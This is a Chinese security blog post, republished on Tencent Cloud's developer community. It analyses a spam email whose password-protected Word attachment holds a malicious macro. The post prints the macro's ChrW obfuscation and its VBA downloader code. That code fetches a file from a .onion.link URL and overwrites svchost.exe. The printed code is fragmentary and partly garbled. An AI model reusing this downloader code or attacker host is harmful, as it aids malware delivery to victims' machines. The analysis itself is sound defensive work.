首页
学习
活动
专区
工具
TVP
发布

一次垃圾邮件的分析

本篇文章来自同事对一次垃圾邮件的分析:

上周一(12月4号),朋友给我转发了一封垃圾邮件,邮件里面附带一个word文档,我们俩都是搞信安,自然察觉一丝危险的气味,之前也没有分析过word附件,因而有了今天的分析。

环境:ubuntu 16.04

office软件: LibreOffice writer

1. FBI Warning

分析有风险,请在虚拟机上运行;且在分析之前要禁止word的宏自动运行

2. 邮件截图

3. 邮件分析

可以看到邮件的正文内容,是由一张图片和一个附件组成,其中我们要重点关注的就是doc附件有密码,且密码为1115

4. 附件分析

一般分析方法

4.1 一般来说,分析一个word附件,一般的方式会选择用oletools,但是这是在word文档非加密的情况下,加了密码后无法通过oletools来提取word文档中的宏。

4.2 olevba 提取宏展示

olevba -c xxx.doc

-a: 自动分析word是否可疑

-c: 只显示word中的宏代码

加了密码后,就不能用一般的分析方法

4.3 尝试是用olevba来提取文档的vba代码

4.4 关闭宏自动运行的前提下,打开word附件。

4.4.1 可以看到,word文档需要密码,当你输入完密码后,就会自动打开文档,如果你之前启用了宏,那么当你输入完密码后就会中招。

4.4.2 打开后,提示word文档包含宏

4.4.3 诱惑用户启用宏

如下图,使用tor浏览器访问对应的暗网链接,返回一个网页来说明该暗网地址已经失效。

Step2. 一个简单的混淆,拼凑出

Dim first5 As String

Dim second5 As String

Dim last5 As String

first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) &

ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)

second5 = ChrW(97) & ChrW(109)

last5 = first5 + second5

其中重要的部分就是first5和second5中的ChrW,ChrW是将十进制的ascii值转换为ascii字符,因而可以用python来做一个转换。

first5 = "ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)"

second5 = "ChrW(97) & ChrW(109)"

def convert_vb2py(s):

first_s = s.replace("ChrW","chr")

second_s = first_s.replace("&","+")

return second_s

print eval(convert_vb2py(first5))+eval(convert_vb2py(second5))

最终我们可以得到last5的值为ADODB.Stream,它是vb中一个对象,用来与文件系统操作

Step 3. 保存http://ypg7rfjvfywj7jhp.onion.link/icon.jpg 到本地文件

xyuhjnx = WinHttpReq.responseBody

If WinHttpReq.Status = 200 Then

Set oStream = CreateObject(last5)

oStream.Open

oStream.Type = Val("1FFF")

oStream.Write WinHttpReq.responseBody

Dim first6 As String

Dim last6 As String

first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)

last6 = first6

oStream.SaveToFile Environ( "svchost.exe", Val("2FFF")

oStream.Close

End If

End Sub

代码获取icon.jpg的内容,并创建一个Stream对象写入icon.jpg的内容,然后保存到svchost.exe所在的目录,也就是c:\windows\system32\目录下,Val("2FFF")的值为2,在adobe.stream的SaveToFile方法中,第二个参数代表覆盖原来的文件。

4.7 到此,我们分析完整个宏代码 总的来说,这是一个downloader,下载恶意代码并替换系统的svchost.exe。国外的一些安全研究者也上传了去掉密码后的文档到恶意软件分析网站,下面是其中的一个链接。

参考链接

其它事件分析1:https://myonlinesecurity.co.uk/fake-visa-notification-with-password-protected-word-doc-delivers-malware/

恶意软件分析网站分析结果:https://www.joesandbox.com/analysis/38852/0/executive

SaveToFIle参考:https://baike.baidu.com/item/adodb.stream/5264867?fr=aladdin#3_11

注:此文来源网络搜集整理,如有侵权联系我们

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20171219G0ISCM00?refer=cp_1026
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券